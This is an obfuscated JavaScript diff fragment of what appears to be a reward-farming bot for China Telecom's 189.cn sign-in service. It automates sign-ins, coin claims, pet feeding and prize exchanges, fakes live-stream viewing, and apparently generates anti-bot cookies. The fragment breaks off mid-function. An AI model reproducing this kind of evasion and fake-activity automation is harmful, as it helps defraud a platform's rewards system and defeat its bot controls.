["encrypt_para"](_0x52a9fe) { + let _0x5c49d9 = typeof _0x52a9fe == "gnirts".split("").reverse().join("") ? _0x52a9fe : JSON.stringify(_0x52a9fe); + return _0x40e903.encrypt(_0x5c49d9, "xeh".split("").reverse().join("")); + } + async ["userCoinInfo"](_0x24b368 = false, _0x3ed9c1 = {}) { + var _0x5458f0 = 2; + let _0x2f5510 = this.rsCkk; + _0x5458f0 = 2; + var _0x171c9f = 8; + let _0x3eafc4 = this.getrsCk; + _0x171c9f = 2; + _0x3eafc4 = this.rsFun().getck(); + _0x2f5510 = await this.parseCookies(_0x3eafc4, _0x2f5510); + try { + { + const _0xf92b01 = { + "phone": this.name + }; + let _0x981fd5 = { + "ckvalue": _0x2f5510, + "fn": "userCoinInfo", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/api/home/userCoinInfo", + "json": { + "para": this.encrypt_para(_0xf92b01) + } + }, + { + "result": _0x1ee9d7, + "statusCode": _0x405522 + } = await this.request(_0x981fd5), + _0x590219 = _0x1a907b.get(_0x1ee9d7, "edoCtluoser".split("").reverse().join(""), _0x405522); + if (_0x590219 == 0) { + this.coin = _0x1ee9d7?.["totalCoin"] || 0; + if (_0x24b368) { + { + const _0x3adef5 = { + "notify": true + }; + this.log("金豆余额: " + this.coin, _0x3adef5); + if (_0x1ee9d7.amountEx) { + { + let _0x3bf5ea = _0x1a907b.time("yyyy-MM-dd", _0x1ee9d7.expireDate); + const _0x441a4c = { + "notify": true + }; + _0x1a907b.log("-- [" + _0x3bf5ea + "期过将]".split("").reverse().join("") + _0x1ee9d7.amountEx + "金豆", _0x441a4c); + } + } + } + } + } else { + let _0x1ad282 = _0x1ee9d7?.["msg"] || _0x1ee9d7?.["gsMtluoser".split("").reverse().join("")] || _0x1ee9d7?.["error"] || ""; + this.log("查询账户金豆余额错误[" + _0x590219 + "]: " + _0x1ad282); + } + } + } catch (_0xcf41e0) { + console.log(_0xcf41e0); + } + } + async ["userStatusInfo"](_0x5dea2e = {}) { + { + var _0x38b7d4 = 7; + let _0x5b8aeb = this.rsCkk; + _0x38b7d4 = 7; + let _0x43091c = this.getrsCk; + _0x43091c = this.rsFun().getck(); + _0x5b8aeb = await this.parseCookies(_0x43091c, _0x5b8aeb); + try { + const _0x31d8c6 = { + "phone": this.name + }; + let _0x360cee = { + "ckvalue": _0x5b8aeb, + "fn": "userStatusInfo", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/api/home/userStatusInfo", + "json": { + "para": this.encrypt_para(_0x31d8c6) + } + }; + { + let { + "result": _0x29b4d0, + "statusCode": _0x593323 + } = await this.request(_0x1a907b.copy(_0x360cee)), + _0x1d75ff = _0x1a907b.get(_0x29b4d0, "resoultCode", _0x593323); + if (_0x1d75ff == 0) { + let { + "isSign": _0x79ff71 + } = _0x29b4d0?.["data"]; + _0x79ff71 ? this.log("到签已天今".split("").reverse().join("")) : await this.doSign(); + } else { + { + let _0x354719 = _0x29b4d0?.["msg"] || _0x29b4d0?.["resoultMsg"] || _0x29b4d0?.["rorre".split("").reverse().join("")] || ""; + this.log("查询账户签到状态错误[" + _0x1d75ff + "]: " + _0x354719); + } + } + } + { + { + let { + "result": _0xa88b12, + "statusCode": _0x4030ee + } = await this.request(_0x1a907b.copy(_0x360cee)), + _0x5beae4 = _0x1a907b.get(_0xa88b12, "edoCtluoser".split("").reverse().join(""), _0x4030ee); + if (_0x5beae4 == 0) { + let { + "continuousDay": _0x2871e0, + "signDay": _0x972416, + "isSeven": _0x1869b5 + } = _0xa88b12?.["data"]; + this.log("到签已".split("").reverse().join("") + _0x972416 + "天, 连签" + _0x2871e0 + "天"); + _0x1869b5 && (await this.exchangePrize()); + } else { + let _0x113594 = _0xa88b12?.["msg"] || _0xa88b12?.["resoultMsg"] || _0xa88b12?.["error"] || ""; + this.log("查询账户签到状态错误[" + _0x5beae4 + " :]".split("").reverse().join("") + _0x113594); + } + } + } + } catch (_0x5a3227) { + console.log(_0x5a3227); + } + } + } + async ["continueSignDays"](_0x420f05 = {}) { + { + let _0x4b17f = this.rsCkk, + _0x254853 = this.getrsCk; + _0x254853 = this.rsFun().getck(); + _0x4b17f = await this.parseCookies(_0x254853, _0x4b17f); + try { + const _0x219e1a = { + "phone": this.name + }; + let _0x250b6a = { + "ckvalue": _0x4b17f, + "fn": "continueSignDays", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/webSign/continueSignDays", + "json": { + "para": this.encrypt_para(_0x219e1a) + } + }, + { + "result": _0x2141a4, + "statusCode": _0x56a2fc + } = await this.request(_0x250b6a), + _0x5bfa03 = _0x1a907b.get(_0x2141a4, "resoultCode", _0x56a2fc); + if (_0x5bfa03 == 0) { + { + this.log("抽奖连签天数: " + (_0x2141a4?.["continueSignDays"] || 0) + "天"); + if (_0x2141a4?.["continueSignDays"] == 15) { + const _0x119e49 = { + "type": "15" + }; + await this.exchangePrize(_0x119e49); + } else { + if (_0x2141a4?.["continueSignDays"] == 28) { + const _0x27728a = { + "type": "28" + }; + await this.exchangePrize(_0x27728a); + } + } + } + } else { + { + let _0x581494 = _0x2141a4?.["msg"] || _0x2141a4?.["resoultMsg"] || _0x2141a4?.["rorre".split("").reverse().join("")] || ""; + this.log("[误错数天签连奖抽询查".split("").reverse().join("") + _0x5bfa03 + "]: " + _0x581494); + } + } + } catch (_0x5473b9) { + console.log(_0x5473b9); + } + } + } + async ["continueSignRecords"](_0x56e506 = {}) { + { + let _0x10265a, + _0x3c00be = this.rsCkk; + _0x10265a = 5; + let _0x334d0c = this.getrsCk; + _0x334d0c = this.rsFun().getck(); + _0x3c00be = await this.parseCookies(_0x334d0c, _0x3c00be); + try { + { + const _0x5df56a = { + "phone": this.name + }; + let _0x43cd99 = { + "ckvalue": _0x3c00be, + "fn": "continueSignRecords", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/webSign/continueSignRecords", + "json": { + "para": this.encrypt_para(_0x5df56a) + } + }, + { + "result": _0x359bd8, + "statusCode": _0xe30af6 + } = await this.request(_0x43cd99), + _0x25608a = _0x1a907b.get(_0x359bd8, "edoCtluoser".split("").reverse().join(""), _0xe30af6); + if (_0x25608a == 0) { + if (_0x359bd8?.["tsiL51eunitnoc".split("").reverse().join("")]?.["htgnel".split("").reverse().join("")]) { + const _0x3bf060 = { + "type": "15" + }; + await this.exchangePrize(_0x3bf060); + } + if (_0x359bd8?.["continue28List"]?.["htgnel".split("").reverse().join("")]) { + const _0x29bedf = { + "type": "28" + }; + await this.exchangePrize(_0x29bedf); + } + } else { + { + let _0x534645 = _0x359bd8?.["msg"] || _0x359bd8?.["gsMtluoser".split("").reverse().join("")] || _0x359bd8?.["error"] || ""; + this.log("查询连签抽奖状态错误[" + _0x25608a + "]: " + _0x534645); + } + } + } + } catch (_0x10aad9) { + console.log(_0x10aad9); + } + } + } + async ["doSign"](_0x4825b4 = {}) { + let _0x31122f = this.rsCkk; + var _0x2c67f2 = 8; + let _0x4217db = this.getrsCk; + _0x2c67f2 = 1; + _0x4217db = this.rsFun().getck(); + _0x31122f = await this.parseCookies(_0x4217db, _0x31122f); + try { + let _0x218f39 = { + "phone": this.name, + "date": Date.now(), + "sysType": "20002" + }, + _0x4662df = { + "ckvalue": _0x31122f, + "fn": "doSign", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/webSign/sign", + "json": { + "encode": this.encode_aes(JSON.stringify(_0x218f39)) + } + }, + { + "result": _0x55f042, + "statusCode": _0x4e5989 + } = await this.request(_0x4662df), + _0x104d49 = _0x1a907b.get(_0x55f042, "edoCtluoser".split("").reverse().join(""), _0x4e5989); + if (_0x104d49 == 0) { + { + let _0xc95937 = _0x1a907b.get(_0x55f042?.["atad".split("").reverse().join("")], "code", -1); + if (_0xc95937 == 1) { + { + const _0x1d08e3 = { + "notify": true + }; + this.log("签到成功,获得" + (_0x55f042?.["data"]?.["coin"] || 0) + "豆金".split("").reverse().join(""), _0x1d08e3); + await this.userStatusInfo(); + } + } else { + { + const _0x14ef4a = { + "notify": true + }; + this.log("[败失到签".split("").reverse().join("") + _0xc95937 + "]: " + _0x55f042.data.msg, _0x14ef4a); + } + } + } + } else { + let _0x541039 = _0x55f042?.["msg"] || _0x55f042?.["gsMtluoser".split("").reverse().join("")] || _0x55f042?.["error"] || ""; + this.log("[误错到签".split("").reverse().join("") + _0x104d49 + "]: " + _0x541039); + } + } catch (_0x1d9780) { + console.log(_0x1d9780); + } + } + async ["exchangePrize"](_0x51d651 = {}) { + let _0x400dc7, + _0x10e174 = this.rsCkk; + _0x400dc7 = 11; + let _0x315800 = this.getrsCk; + _0x315800 = this.rsFun().getck(); + _0x10e174 = await this.parseCookies(_0x315800, _0x10e174); + try { + let _0x5571bc = _0x1a907b.pop(_0x51d651, "epyt".split("").reverse().join(""), "7"); + const _0x1f9f9e = { + "phone": this.name, + "type": _0x5571bc + }; + let _0x77c0eb = { + "ckvalue": _0x10e174, + "fn": "exchangePrize", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/webSign/exchangePrize", + "json": { + "para": this.encrypt_para(_0x1f9f9e) + } + }, + { + "result": _0xccdcfb, + "statusCode": _0x2c0e72 + } = await this.request(_0x77c0eb), + _0x220066 = _0x1a907b.get(_0xccdcfb, "resoultCode", _0x2c0e72); + if (_0x220066 == 0) { + { + let _0x1a8342 = _0x1a907b.get(_0xccdcfb?.["liateDezirp".split("").reverse().join("")], "edoc".split("").reverse().join(""), -1); + if (_0x1a8342 == 0) { + { + const _0x30dfec = { + "notify": true + }; + this.log("连签" + _0x5571bc + "天抽奖: " + _0xccdcfb?.["prizeDetail"]?.["biz"]?.["eltiTniw".split("").reverse().join("")], _0x30dfec); + } + } else { + let _0x32bcbc = _0xccdcfb?.["liateDezirp".split("").reverse().join("")]?.["rre".split("").reverse().join("")] || ""; + const _0x3544f2 = { + "notify": true + }; + this.log("连签" + _0x5571bc + "天抽奖失败[" + _0x1a8342 + "]: " + _0x32bcbc, _0x3544f2); + } + } + } else { + { + let _0x474fe0 = _0xccdcfb?.["gsm".split("").reverse().join("")] || _0xccdcfb?.["resoultMsg"] || _0xccdcfb?.["error"] || ""; + this.log("连签" + _0x5571bc + "[误错奖抽天".split("").reverse().join("") + _0x220066 + " :]".split("").reverse().join("") + _0x474fe0); + } + } + } catch (_0x220e9d) { + console.log(_0x220e9d); + } + } + async ["homepage"](_0x12d2b5, _0x5240fc = {}) { + var _0x2f987c = 14; + let _0xe6f98c = this.rsCkk; + _0x2f987c = "lidkch".split("").reverse().join(""); + var _0xb98d87 = 9; + let _0xbd2bb4 = this.getrsCk; + _0xb98d87 = "hiamhj"; + _0xbd2bb4 = this.rsFun().getck(); + _0xe6f98c = await this.parseCookies(_0xbd2bb4, _0xe6f98c); + try { + const _0x389651 = { + "phone": this.name, + "shopId": "20001", + "type": _0x12d2b5 + }; + let _0x3c9174 = { + "ckvalue": _0xe6f98c, + "fn": "homepage", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/webSign/homepage", + "json": { + "para": this.encrypt_para(_0x389651) + } + }, + { + "result": _0x49f4fc, + "statusCode": _0x116999 + } = await this.request(_0x3c9174), + _0x107703 = _0x1a907b.get(_0x49f4fc, "resoultCode", _0x116999); + if (_0x107703 == 0) { + let _0xe52288 = _0x1a907b.get(_0x49f4fc?.["atad".split("").reverse().join("")]?.["daeh".split("").reverse().join("")], "code", -1); + if (_0xe52288 == 0) for (let _0x16bb06 of _0x49f4fc?.["atad".split("").reverse().join("")]?.["zib".split("").reverse().join("")]?.["adItems"] || []) { + if (["0", "1"].includes(_0x16bb06?.["taskState"])) { + switch (_0x16bb06.contentOne) { + case "3": + { + { + _0x16bb06?.["dIdrawer".split("").reverse().join("")] && (await this.receiveReward(_0x16bb06)); + break; + } + } + case "5": + { + await this.openMsg(_0x16bb06); + break; + } + case "6": + { + await this.sharingGetGold(); + break; + } + case "10": + case "31".split("").reverse().join(""): + { + !this.xtoken && (await this.get_usercode()); + this.xtoken && (await this.watchLiveInit()); + break; + } + case "81".split("").reverse().join(""): + { + { + await this.polymerize(_0x16bb06); + break; + } + } + default: + { + break; + } + } + } + } else { + let _0x4a4e2d = _0x49f4fc?.["data"]?.["daeh".split("").reverse().join("")]?.["err"] || ""; + this.log("获取任务列表失败[" + _0xe52288 + " :]".split("").reverse().join("") + _0x4a4e2d); + } + } else this.log("获取任务列表错误[" + _0x107703 + "]"); + } catch (_0x1b64c4) { + console.log(_0x1b64c4); + } + } + async ["receiveReward"](_0x5b0aef, _0x4a06a5 = {}) { + { + let _0x3afcd1 = this.rsCkk, + _0x43acda = this.getrsCk; + _0x43acda = this.rsFun().getck(); + _0x3afcd1 = await this.parseCookies(_0x43acda, _0x3afcd1); + try { + let _0x298887 = _0x5b0aef?.["title"]?.["split"](" ")?.[0]; + const _0x10b838 = { + "phone": this.name, + "rewardId": _0x5b0aef?.["rewardId"] || "" + }; + let _0x5c2dd2 = { + "ckvalue": _0x3afcd1, + "fn": "receiveReward", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/receiveReward", + "json": { + "para": this.encrypt_para(_0x10b838) + } + }, + { + "result": _0x360d46, + "statusCode": _0x4f0e11 + } = await this.request(_0x5c2dd2), + _0x19bcfa = _0x1a907b.get(_0x360d46, "resoultCode", _0x4f0e11); + if (_0x19bcfa == 0) this.log("[务任取领".split("").reverse().join("") + _0x298887 + "]奖励成功: " + _0x360d46?.["gsMtluoser".split("").reverse().join("")]);else { + let _0x1d74a9 = _0x360d46?.["msg"] || _0x360d46?.["resoultMsg"] || _0x360d46?.["rorre".split("").reverse().join("")] || ""; + this.log("[务任取领".split("").reverse().join("") + _0x298887 + "[误错励奖]".split("").reverse().join("") + _0x19bcfa + " :]".split("").reverse().join("") + _0x1d74a9); + } + } catch (_0x87d7ca) { + console.log(_0x87d7ca); + } + } + } + async ["openMsg"](_0x3f3428, _0x21565e = {}) { + { + let _0x5ae01e = this.rsCkk; + var _0x5672c8 = 9; + let _0x17284d = this.getrsCk; + _0x5672c8 = "fennhp"; + _0x17284d = this.rsFun().getck(); + _0x5ae01e = await this.parseCookies(_0x17284d, _0x5ae01e); + try { + { + let _0x559622 = _0x3f3428?.["title"]?.["split"](" ")?.[0]; + const _0x1febad = { + "phone": this.name + }; + let _0x3f8902 = { + "ckvalue": _0x5ae01e, + "fn": "openMsg", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/openMsg", + "json": { + "para": this.encrypt_para(_0x1febad) + } + }, + { + "result": _0x3fcc57, + "statusCode": _0x17815c + } = await this.request(_0x3f8902), + _0x5edf25 = _0x1a907b.get(_0x3fcc57, "edoCtluoser".split("").reverse().join(""), _0x17815c); + if (_0x5edf25 == 0) this.log("完成任务[" + _0x559622 + "]成功: " + _0x3fcc57?.["resoultMsg"]);else { + { + let _0x2d17da = _0x3fcc57?.["msg"] || _0x3fcc57?.["resoultMsg"] || _0x3fcc57?.["error"] || ""; + this.log("完成任务[" + _0x559622 + "]错误[" + _0x5edf25 + " :]".split("").reverse().join("") + _0x2d17da); + } + } + } + } catch (_0x23c4a1) { + console.log(_0x23c4a1); + } + } + } + async ["polymerize"](_0x47b1b0, _0x2602a8 = {}) { + let _0x58a2f0 = this.rsCkk; + var _0x5858a5 = 16; + let _0x58ecd8 = this.getrsCk; + _0x5858a5 = "pnbjcb".split("").reverse().join(""); + _0x58ecd8 = this.rsFun().getck(); + _0x58a2f0 = await this.parseCookies(_0x58ecd8, _0x58a2f0); + try { + { + let _0x10342e = _0x47b1b0?.["eltit".split("").reverse().join("")]?.["split"](" ")?.[0]; + const _0x5ea9e4 = { + "phone": this.name, + "jobId": _0x47b1b0.taskId + }; + let _0x2120e2 = { + "ckvalue": _0x58a2f0, + "fn": "polymerize", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/webSign/polymerize", + "json": { + "para": this.encrypt_para(_0x5ea9e4) + } + }, + { + "result": _0x1d8e9c, + "statusCode": _0x1b93af + } = await this.request(_0x2120e2), + _0x8e8602 = _0x1a907b.get(_0x1d8e9c, "resoultCode", _0x1b93af); + if (_0x8e8602 == 0) this.log("[务任成完".split("").reverse().join("") + _0x10342e + " :功成]".split("").reverse().join("") + _0x1d8e9c?.["resoultMsg"]);else { + { + let _0x5a9935 = _0x1d8e9c?.["msg"] || _0x1d8e9c?.["resoultMsg"] || _0x1d8e9c?.["error"] || ""; + this.log("完成任务[" + _0x10342e + "[误错]".split("").reverse().join("") + _0x8e8602 + " :]".split("").reverse().join("") + _0x5a9935); + } + } + } + } catch (_0x627041) { + console.log(_0x627041); + } + } + async ["food"](_0x3ffcd3, _0x527ce7 = {}) { + var _0x53bf53 = 12; + let _0x5086d1 = this.rsCkk; + _0x53bf53 = 9; + let _0x49aa48 = this.getrsCk; + _0x49aa48 = this.rsFun().getck(); + _0x5086d1 = await this.parseCookies(_0x49aa48, _0x5086d1); + try { + const _0x28fe9f = { + "phone": this.name + }; + let _0x22f12d = { + "ckvalue": _0x5086d1, + "fn": "food", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/food", + "json": { + "para": this.encrypt_para(_0x28fe9f) + } + }, + { + "result": _0x139702, + "statusCode": _0x270d92 + } = await this.request(_0x22f12d), + _0x26bb72 = _0x1a907b.get(_0x139702, "edoCtluoser".split("").reverse().join(""), _0x270d92); + if (_0x26bb72 == 0) { + this.log("第" + _0x3ffcd3 + "次喂食: " + (_0x139702?.["gsMtluoser".split("").reverse().join("")] || "成功")); + if (_0x139702?.["pUlevel".split("").reverse().join("")]) { + { + let _0x5ee413 = _0x139702?.["currLevelRightList"][0]?.["level"]; + const _0x498e3d = { + "notify": true + }; + this.log("宠物已升级到[LV." + _0x5ee413 + " :得获 ,]".split("").reverse().join("") + _0x139702?.["currLevelRightList"][0]?.["emaNtshgir".split("").reverse().join("")], _0x498e3d); + } + } + } else { + { + let _0x69b941 = _0x139702?.["msg"] || _0x139702?.["gsMtluoser".split("").reverse().join("")] || _0x139702?.["error"] || ""; + this.log("第" + _0x3ffcd3 + "[败失食喂次".split("").reverse().join("") + _0x26bb72 + " :]".split("").reverse().join("") + _0x69b941); + _0x69b941?.["includes"]("最大喂食次数") && (this.can_feed = false); + } + } + } catch (_0x55c71c) { + console.log(_0x55c71c); + } + } + async ["getParadiseInfo"](_0x5d0afa = {}) { + let _0x360373 = this.rsCkk; + var _0x506265 = 18; + let _0x65e9ea = this.getrsCk; + _0x506265 = 6; + _0x65e9ea = this.rsFun().getck(); + _0x360373 = await this.parseCookies(_0x65e9ea, _0x360373); + try { + { + const _0x46eba0 = { + "phone": this.name + }; + let _0x441cb8 = { + "ckvalue": _0x360373, + "fn": "getParadiseInfo", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/getParadiseInfo", + "json": { + "para": this.encrypt_para(_0x46eba0) + } + }; + { + { + let { + "result": _0x5ca580, + "statusCode": _0x5122a3 + } = await this.request(_0x441cb8), + _0x4d452c = _0x1a907b.get(_0x5ca580, "resoultCode", _0x5122a3); + if (_0x4d452c == 0) { + { + let _0x1aca35 = _0x5ca580?.["userInfo"]?.["levelInfoMap"]; + this.level = _0x1aca35?.["level"]; + for (let _0x1c9e42 = 1; _0x1c9e42 <= 10 && this.can_feed; _0x1c9e42++) { + await this.food(_0x1c9e42); + } + } + } else { + let _0x21d421 = _0x5ca580?.["gsm".split("").reverse().join("")] || _0x5ca580?.["resoultMsg"] || _0x5ca580?.["rorre".split("").reverse().join("")] || ""; + this.log("查询宠物等级失败[" + _0x4d452c + "]: " + _0x21d421); + return; + } + } + } + { + { + _0x360373 = this.rsCkk; + _0x65e9ea = this.getrsCk; + _0x65e9ea = this.rsFun().getck(); + _0x360373 = await this.parseCookies(_0x65e9ea, _0x360373); + let _0x3441c9 = { + "ckvalue": _0x360373, + "fn": "getParadiseInfo", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/getParadiseInfo", + "json": { + "para": this.encrypt_para(_0x46eba0) + } + }, + { + "result": _0x43dc05, + "statusCode": _0x285e3a + } = await this.request(_0x3441c9), + _0x3fec10 = _0x1a907b.get(_0x43dc05, "edoCtluoser".split("").reverse().join(""), _0x285e3a); + if (_0x3fec10 == 0) { + { + let _0x36ee1f = _0x43dc05?.["userInfo"]?.["levelInfoMap"]; + this.level = _0x36ee1f?.["level"]; + const _0x3fbf8e = { + "notify": true + }; + this.log("宠物等级[Lv." + _0x36ee1f?.["level"] + " :度进级升 ,]".split("").reverse().join("") + _0x36ee1f?.["growthValue"] + "/" + _0x36ee1f?.["fullGrowthCoinValue"], _0x3fbf8e); + } + } else { + { + let _0x42c291 = _0x43dc05?.["gsm".split("").reverse().join("")] || _0x43dc05?.["resoultMsg"] || _0x43dc05?.["error"] || ""; + this.log("[败失级等物宠询查".split("").reverse().join("") + _0x3fec10 + "]: " + _0x42c291); + return; + } + } + } + } + } + } catch (_0x431d56) { + console.log(_0x431d56); + } + } + async ["getLevelRightsList"](_0x313581 = {}) { + { + let _0x32ef46 = this.rsCkk; + var _0x40290a = 5; + let _0x3747df = this.getrsCk; + _0x40290a = "pmlkhn"; + _0x3747df = this.rsFun().getck(); + _0x32ef46 = await this.parseCookies(_0x3747df, _0x32ef46); + try { + const _0x5562b1 = { + "phone": this.name + }; + let _0x598a01 = { + "ckvalue": _0x32ef46, + "fn": "getLevelRightsList", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/getLevelRightsList", + "json": { + "para": this.encrypt_para(_0x5562b1) + } + }, + { + "result": _0x446a1b, + "statusCode": _0x19041d + } = await this.request(_0x598a01); + if (_0x446a1b?.["currentLevel"]) { + let _0xaec461 = _0x446a1b?.["leveLtnerruc".split("").reverse().join("")] || 6, + _0x3fe3bd = false, + _0xfc6c13 = "V" + _0xaec461; + for (let _0x25f158 of _0x446a1b[_0xfc6c13] || []) { + { + let _0x59f64f = _0x25f158?.["emaNtshgir".split("").reverse().join("")] || ""; + if (this.coin < _0x25f158.costCoin) { + continue; + } + (_0x59f64f?.["match"](new RegExp("\\d+元话费", "")) || _0x59f64f?.["hctam".split("").reverse().join("")](new RegExp("豆金+d\\享专".split("").reverse().join(""), ""))) && (await this.getConversionRights(_0x25f158, _0x3fe3bd)) && (_0x3fe3bd = true); + } + } + } else { + { + let _0x246b4f = _0x446a1b?.["msg"] || _0x446a1b?.["gsMtluoser".split("").reverse().join("")] || _0x446a1b?.["error"] || ""; + this.log(" :败失益权换兑物宠询查".split("").reverse().join("") + _0x246b4f); + } + } + } catch (_0x179b0e) { + console.log(_0x179b0e); + } + } + } + async ["getConversionRights"](_0x1ce06c, _0x4fabbb, _0x45e01c = {}) { + let _0x32aac3 = this.rsCkk, + _0xa7161d, + _0x37bf7f = this.getrsCk; + _0xa7161d = 1; + _0x37bf7f = this.rsFun().getck(); + _0x32aac3 = await this.parseCookies(_0x37bf7f, _0x32aac3); + let _0x1efb76 = false; + try { + { + let _0x247a79 = _0x1ce06c?.["righstName"] || ""; + const _0x1d34e2 = { + "phone": this.name, + "rightsId": _0x1ce06c.id, + "receiveCount": _0x1ce06c.receiveType + }; + let _0x59716c = { + "ckvalue": _0x32aac3, + "fn": "getConversionRights", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/getConversionRights", + "json": { + "para": this.encrypt_para(_0x1d34e2) + } + }, + { + "result": _0x216422, + "statusCode": _0x41de38 + } = await this.request(_0x59716c), + _0x3f7b73 = _0x1a907b.get(_0x216422, "edoc".split("").reverse().join(""), _0x1a907b.get(_0x216422, "edoCtluoser".split("").reverse().join(""), _0x41de38)); + if (_0x3f7b73 == 200) { + if (!(_0x216422?.["rightsStatus"]?.["sedulcni".split("").reverse().join("")]("已兑换") || _0x216422?.["rightsStatus"]?.["sedulcni".split("").reverse().join("")]("取领已".split("").reverse().join("")))) { + _0x1efb76 = true; + if (_0x4fabbb) { + await _0x1a907b.wait(3000); + } + await this.conversionRights(_0x1ce06c); + } + } else { + let _0x1f31c7 = _0x216422?.["msg"] || _0x216422?.["resoultMsg"] || _0x216422?.["error"] || ""; + this.log("[益权询查".split("").reverse().join("") + _0x247a79 + "[败失]".split("").reverse().join("") + _0x3f7b73 + " :]".split("").reverse().join("") + _0x1f31c7); + } + } + } catch (_0x1cd7c3) { + console.log(_0x1cd7c3); + } finally { + return _0x1efb76; + } + } + async ["conversionRights"](_0x4d2734, _0x3840bb = {}) { + { + let _0x394922 = this.rsCkk, + _0x1ee9c5, + _0x527353 = this.getrsCk; + _0x1ee9c5 = 6; + _0x527353 = this.rsFun().getck(); + _0x394922 = await this.parseCookies(_0x527353, _0x394922); + try { + let _0x10bd41 = _0x4d2734?.["emaNtshgir".split("").reverse().join("")] || ""; + const _0x83522b = { + "phone": this.name, + "rightsId": _0x4d2734.id + }; + let _0x290aba = { + "ckvalue": _0x394922, + "fn": "conversionRights", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/paradise/conversionRights", + "json": { + "para": this.encrypt_para(_0x83522b) + } + }, + { + "result": _0x502012, + "statusCode": _0x29f40d + } = await this.request(_0x290aba), + _0x7effe1 = _0x1a907b.get(_0x502012, "edoCtluoser".split("").reverse().join(""), _0x29f40d); + if (_0x7effe1 == 0) this.log("兑换权益[" + _0x10bd41 + "功成]".split("").reverse().join(""));else { + let _0x31092d = _0x502012?.["msg"] || _0x502012?.["resoultMsg"] || _0x502012?.["error"] || ""; + this.log("[益权换兑".split("").reverse().join("") + _0x10bd41 + "]失败[" + _0x7effe1 + " :]".split("").reverse().join("") + _0x31092d); + } + } catch (_0x58a778) { + console.log(_0x58a778); + } + } + } + async ["get_usercode"](_0x314be8 = {}) { + { + let _0x37903f = this.rsCkk, + _0x1ab94b = this.getrsCk; + _0x1ab94b = this.rsFun().getck(); + _0x37903f = await this.parseCookies(_0x1ab94b, _0x37903f); + try { + { + const _0x16e04a = { + "ckvalue": _0x37903f, + "fn": "get_usercode", + "method": "get", + "url": "https://xbk.189.cn/xbkapi/api/auth/jump", + "searchParams": {} + }; + _0x16e04a.searchParams.userID = this.ticket; + _0x16e04a.searchParams.version = "9.3.3"; + _0x16e04a.searchParams.type = "room"; + _0x16e04a.searchParams.l = "renwu"; + let { + "statusCode": _0x4b85f9, + "headers": _0x35a931 + } = await this.request(_0x16e04a), + _0x247c50 = _0x35a931?.["location"]?.["match"](new RegExp("usercode=(\\w+)", "")); + _0x247c50 ? await this.codeToken(_0x247c50[1]) : this.log("获取code失败[" + _0x4b85f9 + "]"); + } + } catch (_0x10af19) { + console.log(_0x10af19); + } + } + } + async ["codeToken"](_0xdedb3c, _0xcf349 = {}) { + { + let _0x3ae053 = this.rsCkk, + _0x1f567e = this.getrsCk; + _0x1f567e = this.rsFun().getck(); + _0x3ae053 = await this.parseCookies(_0x1f567e, _0x3ae053); + try { + { + const _0x5b22db = { + "usercode": _0xdedb3c + }, + _0x158c4b = { + "ckvalue": _0x3ae053, + "fn": "codeToken", + "method": "post", + "url": "https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken", + "json": _0x5b22db + }; + let { + "result": _0x5db701, + "statusCode": _0x4633a6 + } = await this.request(_0x158c4b), + _0x2ec0e9 = _0x1a907b.get(_0x5db701, "edoc".split("").reverse().join(""), -1); + if (_0x2ec0e9 == 0) this.xtoken = _0x5db701?.["data"]?.["nekot".split("").reverse().join("")], this.got = this.got.extend({ + "headers": { + "Authorization": "Bearer " + _0x30d16a.encrypt(this.xtoken, "base64") + } + });else { + let _0x4ea71e = _0x5db701?.["msg"] || _0x5db701?.["resoultMsg"] || _0x5db701?.["error"] || _0x5db701?.["gsm".split("").reverse().join("")] || ""; + this.log("获取token失败[" + _0x2ec0e9 + "]: " + _0x4ea71e); + } + } + } catch (_0x4fd3ae) { + console.log(_0x4fd3ae); + } + } + } + async ["watchLiveInit"](_0x4ff089 = {}) { + let _0xb4a547 = this.rsCkk, + _0x4940db, + _0x520588 = this.getrsCk; + _0x4940db = 12; + _0x520588 = this.rsFun().getck(); + _0xb4a547 = await this.parseCookies(_0x520588, _0xb4a547); + try { + let _0x29c1b8 = Math.floor(Math.random() * 1000) + 1000; + const _0x53ed48 = { + "period": 1, + "liveId": _0x29c1b8 + }, + _0x415a4a = { + "ckvalue": _0xb4a547, + "fn": "watchLiveInit", + "method": "post", + "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLiveInit", + "json": _0x53ed48 + }; + let { + "result": _0x233a2a, + "statusCode": _0x38a917 + } = await this.request(_0x415a4a), + _0x114319 = _0x1a907b.get(_0x233a2a, "code", -1); + if (_0x114319 == 0) { + await _0x1a907b.wait(15000); + await this.watchLive(_0x29c1b8, _0x233a2a?.["data"]); + } else { + let _0x346c86 = _0x233a2a?.["gsm".split("").reverse().join("")] || _0x233a2a?.["gsMtluoser".split("").reverse().join("")] || _0x233a2a?.["rorre".split("").reverse().join("")] || _0x233a2a?.["gsm".split("").reverse().join("")] || ""; + this.log("[播直看观始开".split("").reverse().join("") + _0x29c1b8 + "]失败[" + _0x114319 + "]: " + _0x346c86); + } + } catch (_0x25a8e8) { + console.log(_0x25a8e8); + } + } + async ["watchLive"](_0x37f1a7, _0x3101aa, _0x40985a = {}) { + var _0x3f5092 = 17; + let _0x454bd3 = this.rsCkk; + _0x3f5092 = 0; + let _0x47d645 = this.getrsCk; + _0x47d645 = this.rsFun().getck(); + _0x454bd3 = await this.parseCookies(_0x47d645, _0x454bd3); + try { + { + const _0x3d2d8d = { + "period": 1, + "liveId": _0x37f1a7, + "key": _0x3101aa + }, + _0x36f81f = { + "ckvalue": _0x454bd3, + "fn": "watchLive", + "method": "post", + "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLive", + "json": _0x3d2d8d + }; + let { + "result": _0x32f975, + "statusCode": _0x40e6de + } = await 